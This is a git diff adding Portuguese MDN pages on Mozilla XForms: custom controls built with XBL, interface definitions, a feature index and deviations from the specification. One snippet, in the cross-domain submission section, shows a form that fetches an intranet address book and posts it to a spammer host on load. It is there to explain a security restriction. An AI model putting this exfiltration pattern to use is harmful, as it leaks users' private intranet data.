nó do tipo <code>xsd:integer</code> e então o atributo <code>typelist</code> será <code><span>"http://www.w3.org/2001/XMLSchema#integer http://www.w3.org/2001/XMLSchema#decimal"</span></code>. Isto é porque <code>xsd:integer</code> é herdado do tipo de dado <code>xsd:decimal</code>. Recomendamos que use este atributo para criar a regra de ligação CSS para seu controle customizado. Isto lhe permite ligar seu controle customizado para o tipo de dado que está desejando e todo tipo derivado deste tipo desejado. Então se quiser um <code>input</code> ligado a um nó de instância do tipo <code>integer</code> (e todos os tipos derivados de <code>integer</code>), você usaria: +</p> +<pre>@namespace xf url(http://www.w3.org/2002/xforms); +@namespace mozType url(http://www.mozilla.org/projects/xforms/2005/type); + +xf|input[mozType|typelist~="http://www.w3.org/2001/XMLSchema#integer"] { + -moz-binding: url('chrome://xforms/content/input-xhtml.xml#xformswidget-input-integer'); +} +</pre> +<h4 id="Controles_XForms_Avan.C3.A7ados"> Controles XForms Avançados </h4> +<p>Vão existir momentos em que precisa de um controle muito específico a sua tarefa mas também quer que funcione com modelos XForms e nós de instância como um controle XForms regular. A esspecificação XForms fornece uma bela maneira de realizar isto usando atributos ligados XForms (como <code>ref</code>, ou <code>nodeset</code>) no seu elemento de controle customizado. Porém, a implementação de Mozilla XForms atualmente não suporta esta aproximação. Mas existe um caminho para alcançr o mesmo resultado. Você pode pôr os controles dentro da sua ligação XBL. Note que deve assegurar que os controles XForms incorporados funcionam com o tipo de dados do nó de instância ao que seu controle está ligado. Para lhe dar uma ideía sobre o que estamos falando veja a seguir: +</p> +<pre><content> + <xf:input xbl:inherits="ref=ref1" anonid="ref1"/> + <xf:input xbl:inherits="ref=ref2" anonid="ref2"/> +</content> + +<implementation> + <method name="refresh"> + <body> + // Aqui devemos renovar o controle customizado. + </body> + </method> + + <constructor> + // Devemos redirecionar chamadas do modo de inputs 'refresh' para controles customizados 'refresh'. + var control = this; + var refreshStub = function() { + control.refresh(); + } + + this.ref1.refresh = refreshStub; + this.ref2.refresh = refreshStub; + </constructor> + + <property name="ref1" readonly="true" + onget="return this.ownerDocument.getAnonymousElementByAttribute(this, 'anonid', 'ref1');"/> + <property name="ref2" readonly="true" + onget="return this.ownerDocument.getAnonymousElementByAttribute(this, 'anonid', 'ref2');"/> +</implementation> +</pre> +<h4 id="Nova_linguagem_Host"> Nova linguagem Host </h4> +<p>A implementação Mozilla XForms atualmente somente suporta XForms hospedados em documentos XHTML ou XUL. Se precisar XForms em outros tipos de documentos como SVG, MathML ou alguma outra marca de linguagem que Mozilla suporta, então precisa implementar controles XForms para o formato de documento desejado. A implementação XForms tem ligações básicas XBL para cada controle XForms. Vocè pode escrever ligações de implementação que vão herdar as ligações básicas. Por exemplo, cada implementação de controle <code>output</code> extende a ligação básica <code><span>xforms.xml#xformswidget-output-base</span></code>. As peças específicas XHTML de nossa implementação de <code>output</code> é mantido na liagação <code><span>xforms-xhtml.xml#xformswidget-output</span></code>. Se desenvolvedores como você quiserem fazer este tipo de trabalho heróico eão por favor contate os desenvolvedores do Mozilla XForms antes de iniciar. Esperamos poder ajudá-lo em evitar um monte de frustração e desespéro:). +</p> +<h3 id="Resumo"> Resumo </h3> +<p>Os controles Mozilla XForms são largamente implementados usando XBL e as ligações são aplicados aos tags de controle individuais XForms via CSS. Assim sempre pode referir-scom nossas atuais e ao nosso source code para obter alguns grandes exemplos de como controles XForms são escritos. Isto também lhe permite estar por dentro das nossas atuais atualizações (muitas vezes o resultado de duras lições) e esperamos que o ajude a escrever seus próprios controles mais facilmente. Para iniciar, realmente só precisa saber a linguagem aonde quer usar XForms (como <a href="pt/XHTML">XHTML</a> ou <a href="pt/XUL">XUL</a>), alguns <a href="pt/XBL">XBL</a> e <a href="pt/JavaScript">JavaScript</a>, e a interface <a href="pt/XPCOM">XPCOM</a> que estamos mostrando. +</p> +<h3 id="Detalhes"> Detalhes </h3> +<h4 id="Interfaces"> Interfaces </h4> +<p>Esta secção descreve interfaces que deve conhecer. Existem dois grupos principais de interfaces -> callback interfaces que precisam ser implementados pelos controles customizados e as interfaces que controles customizados podem usar para acessar a Mozilla XForms engine. +</p> +<h5 id="nsIXFormsUIWidget"> nsIXFormsUIWidget </h5> +<p>Todo controle customizado deve implementar a interface <code>nsIXFormsUIWidget</code>. Esta interface é usada pelo modulo XForms para interagir com o controle básico. De acordo com as regras do XForms, por exemplo, quando o controle precisa ser atualizado, é chamado o método <code>refresh</code> pelo processador. Abaixo encontra-se a estrutura da interface. Como sempre por favor veja diretamente o source code para estar seguro que está usando a versão mais recente: {{ Source("extensions/xforms/nsIXFormsUIWidget.idl") }}. +</p> +<pre>interface nsIXFormsUIWidget : nsIDOMElement +{ + /** + * É chamada quando o controle deve ser atualizado para refletir o valor do nó ligado. + */ + void refresh(); + + /** + * É chamado quando o foco é avançado sobre o elemento XForms. + */ + boolean focus(); + + /** + * É chamado quando o controle deve ser desabilitado. + * Isto realmente só se aplica ao elemento submetido. + */ + void disable(in boolean disable); + + /** + * É chamado para obter o valor atual do controle. + */ + string getCurrentValue(); +} +</pre> +<p>Notas: +</p> +<ul><li> getCurrentValue() deve retornar o valor do controle como visto pelo usuário. O valor atual de um controle pode ser diferente do valor do nó ligado em casos onde @incremental='false'. +</li><li> disable() é chamado pelo processador XForms para indicar a um elemento submetido que precisa desabilitar/habilitar devido ao começo/fim de um processo de submissão. Atualmente não tem nenhum sentido fora deste contexto. +</li><li> focus() é usado pelo processador para comunicar ao controle que ele está recebendo foco através de uma das várias maneiras (p.ex. através de xf:setfocus action) e que o controle precisa assegurar que o widget apropriado está recebendo foco. +</li></ul> +<p>Com raras exceções seu controle precisa somente implementar a interface <code>nsIXFormsUIWidget</code>. Mas certos controles XForms precisam implementar interfaces adicionais. Tais elementos incluem <code>upload</code> e <code>case</code>. +</p> +<h5 id="nsIXFormsAccessors"> nsIXFormsAccessors </h5> +<p>A interface <code>nsIXFormsAccessors</code> permite acessar o valor e o estado do nó de instância ao qual o controle está ligado (veja {{ Source("extensions/xforms/nsIXFormsAccessors.idl") }}). Interface atual é: +</p> +<pre>interface nsIXFormsAccessors : nsISupports +{ + /** + * Valor de retorno do nó de instância. + */ + DOMString getValue(); + + /** + * Valor nominal do nó de instância. + */ + void setValue(in DOMString value); + + /** + * Retorna verdadeiro se o nó de instância é readonly como determinado pelo MDG. + */ + boolean isReadonly(); + + /** + * Retorna verdadeiro se o nó de instância é relevante como determinado pelo MDG. + */ + boolean isRelevant(); + + /** + * Retorna verdadeiro se o nó de instância é requerido como determinado pelo MDG. + */ + boolean isRequired(); + + /** + * Retorna verdadeiro se o nó de instância é válido como determinado pelo MDG. + */ + boolean isValid(); + + /** + * Retorna verdadeiro se o controle é ligado ao nó de instância. + */ + boolean hasBoundNode(); + + /** + * Retorna o nó de instância ligado. + */ + nsIDOMNode getBoundNode(); + + /** + * Setar o conteúdo do nó de instância. Se um ForceUpdate é verdadeiro então o + * modelo XForms será reconstruído/recalculado/revalidado/renovado. + */ + void setContent(in nsIDOMNode aNode, in boolean aForceUpdate); +} +</pre> +<p>note: setContent() pode ser usado para colocar complexContent (mistura de texto e nós elementares) sob o nó ligado ao controle. Favor verificar os comentários no arquivo fonte .idl para maiores informações sobre como usar este método. +</p> +<h4 id="Liga.C3.A7.C3.B5es_XBL"> Ligações XBL </h4> +<p>A maioria dos elementos de controle XForms tem no mínimo duas ligações aplicadas a si mesmas. Uma é a ligação básica que implementa o comportamento do núcleo do controle XForms. A outra é a ligação de impelmentação que adiciona a representação específica da linguagem do host do controle XForms. Um exemplo do mencionado é a ligação que usa um html:input como conteúdo anônimo de um elemento xforms:input quando este é hospedado num documento XHTML. +</p><p>Nossa extenção XForms usa o seguinte formato para nomes de arquivos. O nome do arquivo onde são localizadas as ligações básicas de um controle é <code>controlfile.xml</code>. <code>controlfile-xhtml.xml</code> contém as ligações de implementação XHTML para o controle e <code>controlfile-xul.xml</code> contém as ligações de implementação quando este controle é hospedado num documento XUL. A seguinte lista mostra onde estão definidas as ligações básicas de nosso controle XForms: +</p> +<ul><li> <code>xforms.xml</code> - contém as ligações básicas para controles XForms <code>output</code>, <code>label</code>, <code>trigger</code>, <code>submit</code>, <code>case</code>, <code>message</code>, <code>hint</code>, <code>help</code>, <code>alert</code>, <code>upload</code> e <code>repeat</code> . +</li><li> <code>input.xml</code> - contém as ligações básicas para controles XForms <code>input</code>, <code>secret</code> e <code>textarea</code>. +</li><li> <code>select.xml</code> - contém as ligações básicas para controles XForms <code>select</code> e <code>select1</code> (exceto <code>minimal/default select1</code> que está hospedado no arquivo <code>select1.xml</code>) +</li><li> <code>range.xml</code> - contém as ligações básicas para controles XForms <code>range</code>. +</li></ul> +<p><code>xforms.xml</code> também define as poucas ligações básicas comuns para todos os controles XForms. Estes são: +</p> +<ul><li> <code>xformswidget-general</code> - define propriedades utilitárias e métodos comuns para todos os controles XForms. +</li><li> <code>xformswidget-accessors</code> - define os métodos que permitem às ligações de trabalhar com nós de instância ligados e com o próprio elemento XForms. +</li><li> <code>xformswidget-base</code> - implementa interfaces <code>nsIXFormsUIWidgets</code>. +</li></ul> +<p>Você está livre em escolher qual tipo de ligação para seu controle customizado fornecerá à fundação. Normalmente será uma das ligações de implementação ou uma das básicas. +</p> +<h3 id="Exemplo"> Exemplo </h3> +<p>Uma coleção de exemplos de controles customizados pode ser encontrada em <a href="pt/XForms/Custom_Controls_Examples">XForms:Custom Controls Examples</a>, e você também pode ver os blogs <a class="external" href="http://www.oreillynet.com/xml/blog/2006/07/understanding_xforms_customiza.html">"Compreendendo XForms: Customização"</a>. +</p><p>Aqui está um exemplo completo que define um novo controle de saída que carrega seu valor como uma imagen. Ele está ligado a <code><xf:output mediatype="image/*"/></code> imitando o atual <a class="external" href="http://www.w3.org/TR/xforms11/#render-nontext">XForms 1.1 draft</a>: +</p> +<pre><?xml version="1.0" encoding="utf-8"?> +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" + xmlns:xf="http://www.w3.org/2002/xforms"> + <head> + <title>Custom Image Control Sample</title> + + <bindings id="xformsBindings" + xmlns="http://www.mozilla.org/xbl" + xmlns:html="http://www.w3.org/1999/xhtml"> + + <binding id="output-image" + extends="chrome://xforms/content/xforms.xml#xformswidget-base"> + <content> + <html:div> + <html:img anonid="content"/> + </html:div> + </content> + + <implementation implements="nsIXFormsUIWidget"> + <method name="refresh"> + <body> + <!-- + set the src attribute on the html:img to be the simpleContent + of the instance node bound to this control + --> + var img = document.getAnonymousElementByAttribute(this, "anonid", "content"); + img.setAttribute("src", this.stringValue); + return true; + </body> + </method> + </implementation> + </binding> + </bindings> + + <xf:model> + <xf:instance xmlns=""> + <data> + <curimg></curimg> + <img label="Firefox">http://www.mozilla.com/images/firefox-logo-64x64.png</img> + <img label="Thunderbird">http://www.mozilla.com/images/thunderbird-logo-64x64.png</img> + <img label="Bugzilla">http://www.mozilla.org/images/p-bugz.gif</img> + <img label="Mozilla">http://www.mozilla.org/images/mozhead-80x64.gif</img> + </data> + </xf:instance> + </xf:model> + + <style type="text/css"> + @namespace xf url(http://www.w3.org/2002/xforms); + + xf|output[mediatype="image/*"] { + -moz-binding: url('#output-image'); + } + </style> + </head> + <body> + <h1>Custom Control Sample</h1> + + <xf:select1 ref="curimg"> + <xf:label>Select image to display: </xf:label> + <xf:itemset nodeset="../img"> + <xf:label ref="@label"/> + <xf:value ref="."/> + </xf:itemset> + </xf:select1> + + <xf:output ref="curimg" mediatype="image/*"/> + + </body> +</html> +</pre> +<p><span>Categorias</span> +</p><p><span>Interwiki links de idiomas</span><a href="pt/Pt-br/XForms/Controles_Customizados">pt-br:XForms:Controles Customizados</a> +</p>{{ languages( { "en": "en/XForms/Custom_Controls" } ) }} diff --git a/files/pt-pt/orphaned/xforms/index.html b/files/pt-pt/orphaned/xforms/index.html new file mode 100644 index 0000000000..39fbfd6df3 --- /dev/null +++ b/files/pt-pt/orphaned/xforms/index.html @@ -0,0 +1,68 @@ +--- +title: XForms +slug: XForms +tags: + - XForms +--- +<p> +</p> +<div class="callout-box"><b><a class="external" href="http://xformsinstitute.com/essentials/browse/">XForms Essentials</a></b><br> +An online book giving you a guided tour of XForms.</div> +<p><br> +</p> +<div><b>XForms</b> is the future of online forms as envisioned by the W3C. Drawing on other W3C standards like <a href="pt/XML_Schema">XML Schema</a>, <a href="pt/XPath">XPath</a>, and <a href="pt/XML_Events">XML Events</a>, XForms tries to address some of the limitations with the current <a href="pt/HTML">HTML</a> forms model. Other strengths that XForms brings to the table is the separation of data from presentation, strong data typing, the ability to submit <a href="pt/XML">XML</a> data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices. XForms is a <a class="external" href="http://www.w3.org/MarkUp/Forms/">W3C specification</a>.</div> +<div class="callout-box"><b><a class="external" href="http://en.wikibooks.org/wiki/XForms">XForms Tutorial and Cookbook</a></b><br> +XForms in Wikibook Format - Over 50 examples tested with FireFox.</div> +<div> +<p>XForms support can be added to Firefox and SeaMonkey by installing the <a class="external" href="http://www.mozilla.org/projects/xforms">Mozilla XForms Extension</a>. +</p> +</div> +<table class="topicpage-table"> +<tbody><tr><td> +<h4 id="Documentation" name="Documentation"> <a>Documentation</a> </h4> +<dl><dt> <a href="pt/XForms/Form_Troubleshooting">Troubleshooting tips for XForms</a> +</dt><dd> <small>A small collection of tips for troubleshooting common problems with XForms forms.</small> +</dd></dl> +<dl><dt> <a href="pt/XForms/Mozilla_XForms_Specials">Mozilla XForms specials</a> +</dt><dd> <small>Explains where, and how, Mozilla XForms deviates or extends the XForms 1.0 specification.</small> +</dd></dl> +<dl><dt> <a href="pt/XForms/Custom_Controls">XForms custom controls</a> +</dt><dd> <small>Custom controls lets the form author "skin" each XForms control through XBL, and create f.x. an SVG <code>input</code> control.</small> +</dd></dl> +<dl><dt> <a href="pt/XForms/User_preferences">XForms user preferences</a> +</dt><dd> <small>A description of the <code>about:config</code> variables that XForms uses.</small> +</dd></dl> +<dl><dt> <a href="pt/XForms/API_Reference">XForms API reference</a> +</dt><dd> <small>XForms interfaces documentation.</small> +</dd></dl> +<dl><dt> <a href="pt/XForms/User_Interface_Elements">XForms UI Elements reference</a> +</dt><dd> <small>XForms user interface elements documentation.</small> +</dd></dl> +<p><span class="alllinks"><a>View All...</a></span> +</p> +</td> +<td> +<h4 id="Community" name="Community"> Community </h4> +<ul><li> View Mozilla forums... +</li></ul> +<p>{{ DiscussionList("dev-tech-xforms", "mozilla.dev.tech.xforms") }} +</p> +<ul><li> <a class="link-irc" href="irc://irc.mozilla.org/xforms">#xforms channel on irc.mozilla.org</a> +</li><li> <a class="external" href="http://lists.w3.org/Archives/Public/www-forms/">W3C Forms mailing list</a> +</li><li> <a class="external" href="http://beaufour.dk/blog">XForms development weblog</a> +</li><li> <a href="pt/XForms/Community">Other community links...</a> +</li></ul> +<h4 id="Tools" name="Tools"> Tools </h4> +<ul><li> <a class="external" href="http://xformsinstitute.com/validator/">XForms validator</a> +</li><li> <a class="external" href="http://beaufour.dk/index.php?sec=misc&pagename=xforms">XForms Buddy</a> +</li></ul> +<p><span class="alllinks"><a>View All...</a></span> +</p> +<h4 id="Related_Topics" name="Related_Topics"> Related Topics </h4> +<dl><dd> <a href="pt/Extensions">Extensions</a>, <a href="pt/HTML">HTML</a>, <a href="pt/XHTML">XHTML</a>, <a href="pt/XML">XML</a>, <a href="pt/XPath">XPath</a> +</dd></dl> +</td></tr></tbody></table> +<p><span class="comment">Categories</span> +</p><p><span class="comment">Interwiki Language Links</span> +</p><p><br> +</p>{{ languages( { "fr": "fr/XForms", "it": "it/XForms", "ja": "ja/XForms", "pl": "pl/XForms", "es": "es/XForms" } ) }} diff --git a/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html b/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html new file mode 100644 index 0000000000..9e931bd696 --- /dev/null +++ b/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html @@ -0,0 +1,92 @@ +--- +title: Mozilla XForms Specials +slug: XForms_especiais_para_Mozilla +tags: + - XForms +--- +<p> </p> +<h3 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o"> Introdução</h3> +<p>Este artigo fornece um resumo onde <i>Extensões Mozilla XForms </i> desvia <i>XForms 1.0 Especificação</i> oficial <a class="external" href="http://www.w3.org/TR/xforms">. Este artigo cobre tanto limitações nas extensões como extensões customizadas. +</a></p><a class="external" href="http://www.w3.org/TR/xforms"> +<h3 id="Limita.C3.A7.C3.B5es" name="Limita.C3.A7.C3.B5es"> Limitações </h3> +<h4 id="Repeti.C3.A7.C3.A3o_usando_atributos" name="Repeti.C3.A7.C3.A3o_usando_atributos"> Repetição usando atributos </h4> +</a><p><a class="external" href="http://www.w3.org/TR/xforms">De acordo com a especificação </a><a class="external" href="http://www.w3.org/TR/xforms/slice9.html#ui.repeat.via.attrs">"Criando estruturas de repetição através de atributos"</a>, isto é <strong>parcialmente</strong> suportado. +</p><p>(limitação acompanhada no {{ Bug(280368) }}) +</p> +<h4 id="Mistura_de_Repeti.C3.A7.C3.A3o_e__table_ou_ul" name="Mistura_de_Repeti.C3.A7.C3.A3o_e__table_ou_ul"> Mistura de Repetição e <code>table</code> ou <code>ul</code> </h4> +<p>Não é possível misturar repetições tanto com <code>table</code> ou <code>ul</code>. Isto significa que <strong>não</strong> é possível fazer o seguinte: +</p> +<div class="warning"> +<pre><table> + <xf:repeat ...> + <tr> ... </tr> + </xf:repeat> +</table> +</pre> +</div> +<p>ou +</p> +<div class="warning"> +<pre><ul> + <xf:repeat ...> + <li> ... </li> + </xf:repeat> +</ul> +</pre> +</div> +<p><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/slice9.html#ui.repeat.via.attrs">Section 9.3.2</a> determina que a mistura com <code>table</code> provávelmente nunca funcionará. A mistura com <code>ul</code> pode sofrer a mesma limitação mas não deve travar o sistema ({{ Bug(330022) }}). +</p> +<h4 id="Suporte_a_pseudo_classes" name="Suporte_a_pseudo_classes"> Suporte a pseudo classes </h4> +<p>Atualmente suportamos todas as pseudo classes em XForms (<code>:enabled, :disabled</code>, etc. <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">), <b>exceto</b> para <code>:read-only</code> e <code>:read-write</code>, por causa de comportamento não especificado destes para (X)</a><a href="pt/HTML">HTML</a>. No momento precisa usar <code>:-moz-read-only</code> e <code>:-moz-read-write</code>. +</p><p>(limitação acompanhada no {{ Bug(313111) }}) +</p> +<h4 id="Suporte_a_pseudo_elemento" name="Suporte_a_pseudo_elemento"> Suporte a pseudo elemento </h4> +<p><b>Não</b> existe suporte para os pseudo elementos (<code>::value, ::repeat-item, e ::repeat-index</code> <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">). Você deve usar as seguintes classes normais: +</a></p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html"> +<ul><li> <code>xf-value</code> +</li><li> <code>xf-repeat-item</code> +</li><li> <code>xf-repeat-index</code> +</li></ul> +<p>Por exemplo, para direcionar o elemento valor de um controle <code>input</code> use: +</p> +<pre>@namespace xf url("http://www.w3.org/2002/xforms"); +xf|input .xf-value { + ... +} +</pre> +</a><p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">Os pseudo elementos são definidos na <i></i></a><i><a href="pt/CSS">CSS</a>3 Especificação básica de usuário </i> <a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">. +</a></p><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">(limitação acompanhada no {{ Bug(271724) }}) +</a></p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements"> +<h3 id="Extens.C3.B5es" name="Extens.C3.B5es"> Extensões </h3> +<h4 id="Enumerando_Inst.C3.A2ncias" name="Enumerando_Inst.C3.A2ncias"> Enumerando Instâncias </h4> +</a><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">O </a><a href="pt/NsIXFormsModelElement">nsIXFormsModelElement</a> standardizado não permite enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No <i>Extensões Mozilla XForms</i> adicionamos a função <code>getInstanceDocuments()</code> ao <code>model</code> que retorna todos os documentos de instância do modelo. Isto encontra-se documentado no <a href="pt/NsIXFormsNSModelElement">nsIXFormsNSModelElement</a>. +</p> +<h4 id="Chegando_ao_elemento_de_inst.C3.A2ncia_a_partir_de_um_n.C3.B3_de_dados" name="Chegando_ao_elemento_de_inst.C3.A2ncia_a_partir_de_um_n.C3.B3_de_dados"> Chegando ao elemento de instância a partir de um nó de dados </h4> +<p>Na especificação XForms 1.0 não existe caminho de chegar ao elemento <code>instance</code> desde um nó de dados de instância. Adicionamos uma função através de chamado <code>getFeature()</code> em cada nó, que permite o autor do formulário a fazê-lo. Isto é, se <code>instanceNode</code> é um nó num documento de instância, então: +</p> +<pre>instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0") +</pre> +<p>retornará elemento <code><instance></code> (no documento principal) ao que o nó pertence. +</p> +<h4 id="Chegando_ao_documento_de_inst.C3.A2ncia_atrav.C3.A9s_do_elemento_de_inst.C3.A2ncia" name="Chegando_ao_documento_de_inst.C3.A2ncia_atrav.C3.A9s_do_elemento_de_inst.C3.A2ncia"> Chegando ao documento de instância através do elemento de instância </h4> +<p>Pela especificação XForms 1.0 deve passar pelo elemento <code>model</code> para chegar ao documento de instância. Parece um pouco desajeitado se você tem o elemento <code>instance</code>, então nós adicionamos uma função <code>getInstanceDocument()</code> diretamente no elemento <code>instance</code> como um atalho. Isso está documentado em <a href="pt/NsIXFormsNSInstanceElement">nsIXFormsNSInstanceElement</a>. +</p> +<h4 id="Interface_de_controle_customizada" name="Interface_de_controle_customizada"> Interface de controle customizada </h4> +<p>Nós adicinamos muitas funcionalidades à nossa interface de usuário que permitem aos tipos de autores criarem <i>controles customizados</i>. Isto envolve a exposição de algumas funcionalidades (<i>script</i>) em todos nossos controles, como <code>output</code>, <code>input</code>, etc. e permitindo à interface de usuário ser representada em <a href="pt/XBL">XBL</a>. Mais informação pode ser encontrada em <a href="pt/Controles_Customizados">Controles Customizados</a>. +</p> +<h3 id="Misc" name="Misc">Miscelânea</h3> +<h4 id="Cross_Domain_Submission" name="Cross_Domain_Submission">Submissão de Domínio Cruzado</h4> +<p>Não é exatamente uma limitação, ou uma extensão, mas é válido mencionar aqui. Por razões de segurança, não é possível por padrão para um XForms aceitar dados de outro domínio. Isto é devido a razões de segurança. Informações sobre como o domínio <u>whitelist</u> pode ser encontrado em <em>Release Notes</em> <a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12"></a></p> +<p>A checagem de domínio cruzado também inclui formulários carregados de <code><a class=" external" rel="freelink">file://</a></code>. Formulários carregados desta URL devem ser arquivos locais, e assim confiáveis, mas este não é sempre o caso. Então não há um <u>"whitelisting"</u> de arquivos locais automático.</p> +<p>Se você está espantado com o porque de termos esta restrição, aqui está um simples exemplo do porque:</p> +<pre><xforms:model> + <xforms:instance src="http://intranetserver/addrbook.xml"/> + <xforms:submission id="sub" action="http://megaspammer.com/gather" + method="post"/> + <xforms:send submission="sub" ev:event="xforms-ready"/> +</xforms:model> +</pre> +<p>This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) <code><span class="nowiki">http://intranetserver/addrbook.xml</span></code>, and send it to <code><span class="nowiki">http://megaspammer.com/gather</span></code> as soon as you view the XForm.</p> +<p><span class="comment">Categorias</span></p> +<p><span class="comment">Interwiki Language Links</span></p> +<p>{{ languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}</p> diff --git a/files/pt-pt/orphaned/xml_no_mozilla/index.html b/files/pt-pt/orphaned/xml_no_mozilla/index.html new file mode 100644 index 0000000000..738750a5f9 --- /dev/null +++ b/files/pt-pt/orphaned/xml_no_mozilla/index.html @@ -0,0 +1,236 @@ +--- +title: XML no Mozilla +slug: XML_no_Mozilla +tags: + - PrecisaDeAtualização + - PrecisaDeRevisãoTécnica + - Todas_as_Categorias + - XML +--- +<p> +</p><p>O Mozilla tem amplo suporte ao <a href="pt/XML">XML</a>. Várias Recomendações World Wide Web Consortium (<a class="external" href="http://w3c.org/">W3C</a>) e esboços de especificações da família XML são suportados, assim como outras tecnologias relacionadas. +</p> +<div class="note"> +<p>Esta página está desatualizada. Por favor ajude atualizando-a com informações atuais. +</p> +</div> +<h3 id="Recomenda.C3.A7.C3.B5es_suportadas_pelo_n.C3.BAcleo_XML_W3C" name="Recomenda.C3.A7.C3.B5es_suportadas_pelo_n.C3.BAcleo_XML_W3C"> Recomendações suportadas pelo núcleo XML W3C </h3> +<p>O núcleo do suporte XML inclui analizar o XML sem a validação (nós utilizamos o Expat parser), indicando o XML com CSS, manipulando documentos XML com scripts via DOM, associando estilos com documentos XML, e <i>namespaces</i> em XML. O núcleo de suporte é muito bom para poucos bugs. +</p> +<h4 id="DTDs_e_outras_Entidades_Externas" name="DTDs_e_outras_Entidades_Externas"> DTDs e outras Entidades Externas </h4> +<p>O Mozilla não carrega entidades externas da web. </p><p>Ele pode carregar as entidades externas cujo o identificador do sistema usa o protocolo <code>chrome</code>. Esta característica é principalmente usada para <a href="pt/XUL_Tutorial/Localization">localizar diferentes idiomas</a> (as <i>strings</i> da interface de usuário são armazenadas em arquivos DTD externos). Uma outra exceção é uma entidade cujo o identificador do sistema seja um <i>path</i> relativo, e a declaração do XML indica que o documento não é autônomo(padrão), em cada caso, o Mozilla tentará procurar a entidade sob o diretório <tt><bin>/res/dtd</tt>. </p><p>O Mozilla pode também gerar uma exceção com documentos XHTML, veja abaixo. +</p><p>Ele tentará ler um subconjunto DTD interno, ou externo como explicado acima, e tentará usar essa informação para reconhecer o ID do tipo do atributo, valores dos atributos padrão e entidades gerais. +</p> +<h4 id="Outras_Notas" name="Outras_Notas"> Outras Notas </h4> +<p>Muito do Document Object Model (<a class="external" href="http://www.w3.org/DOM/">DOM</a>, W3C) aplica-se para XML. Do mesmo modo, a folhas de estilos (CSS) (<a class="external" href="http://www.w3.org/Style/CSS/">CSS</a>, W3C) podem ser usado para documentos XML. +</p><p>O código para a maioria do núcleo XML pode ser encontrado nos seguintes diretórios no servidor Mozilla CVS: content/xml/, parser/expat/ e parser/htmlparser. +</p><p>O grupo de notícias para discução de XML no Mozilla depende um pouco, da natureza da pergunta. +Por exemplo, questões relacionadas a DOM pode ser discutida provavelmente em mozilla.dev.tech.dom newsgroup, enquanto os estilo devem ser discutidos em mozilla.dev.tech.css e assim por diante. Para ter todas os grupos de notícias em XML é mozilla.dev.tech.xml. +</p> +<table class="standard-table"> <tbody><tr> +<td class="header">Especificações ou tecnologia +</td><td class="header">Status e/ou informãções adicionais +</td></tr> +<tr> +<td>XML +</td><td><a class="external" href="http://www.w3.org/TR/REC-xml">W3C Recommendation</a> +</td></tr> +<tr> +<td>Namespaces em XML +</td><td><a class="external" href="http://www.w3.org/TR/REC-xml-names/">W3C Recommendation</a> +</td></tr> +<tr> +<td>Associando Estilos Com Documentos XML +</td><td><a class="external" href="http://www.w3.org/TR/xml-stylesheet/">W3C Recommendation</a> +</td></tr> +<tr> +<td>Estilizando documentos XML com CSS +</td><td> +</td></tr> +<tr> +<td> Manipulação de Documentos XML com scripts atrávez de DOM +</td><td> +</td></tr> +</tbody></table> +<h3 id="Otras_Recomenda.C3.A7.C3.B5es_Suportadadas_pela_W3C_para_XML" name="Otras_Recomenda.C3.A7.C3.B5es_Suportadadas_pela_W3C_para_XML"> Otras Recomendações Suportadadas pela W3C para XML </h3> +<table class="standard-table"> <tbody><tr> +<td class="header">Especificações ou Tecnologia +</td><td class="header">Documentação +</td></tr> +<tr> +<td>XHTML +</td><td><a class="external" href="http://www.w3.org/TR/xhtml1/">W3C </a> +</td></tr> +<tr> +<td>XML Base (somente links, não use para <code>:visited</code> etc. propriedades <a href="pt/CSS">CSS</a>) +</td><td><a class="external" href="http://www.w3.org/TR/xmlbase/">W3C </a> +</td></tr> +<tr> +<td>XLink (somentes simples XLinks) +</td><td><a class="external" href="http://www.w3.org/TR/xlink/">W3C</a> +</td></tr> +<tr> +<td>FIXptr +</td><td><a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">W3C "proposal"</a> +</td></tr> +<tr> +<td>XPointer Framework +</td><td><a class="external" href="http://www.w3.org/TR/xptr-framework/">W3C</a> +</td></tr> +<tr> +<td>XPointer <code>element()</code> +</td><td><a class="external" href="http://www.w3.org/TR/xptr-element/">W3C</a> +</td></tr> +<tr> +<td>XPointer <code>xmlns()</code> +</td><td><a class="external" href="http://www.w3.org/TR/xptr-xmlns/">W3C </a> +</td></tr> +<tr> +<td>XPointer <code>fixptr()</code> +</td><td>Somente um envoltório FIXptr +</td></tr> +<tr> +<td>XPointer <code>xpath1()</code> +</td><td><a class="external" href="http://www.simonstl.com/ietf/draft-stlaurent-xpath-frag-00.html">Internet-Draft</a> +</td></tr> +<tr> +<td><code>document.load()</code>, <code>document.async</code> +</td><td><a class="external" href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">Part do DOM Level 3 Load & Save módulo, um esboço W3C</a> +</td></tr> +</tbody></table> +<h4 id="XHTML" name="XHTML"> XHTML </h4> +<p>Nós temos um suporte <a href="pt/XHTML">XHTML</a> razoável, muitas coisas devem ser trabalhadas. Tratamos os arquivos XHTML diferentemente, dependendo do <i>mime type</i> (ou o sufixo do arquivo, caso ele tenha sido carregado localmente). Arquivos que são do caminho do código <a href="pt/HTML">HTML</a> não são checados para ver se estão bem formatados. Você verá também que nem todas as características do XHTML são suportadas 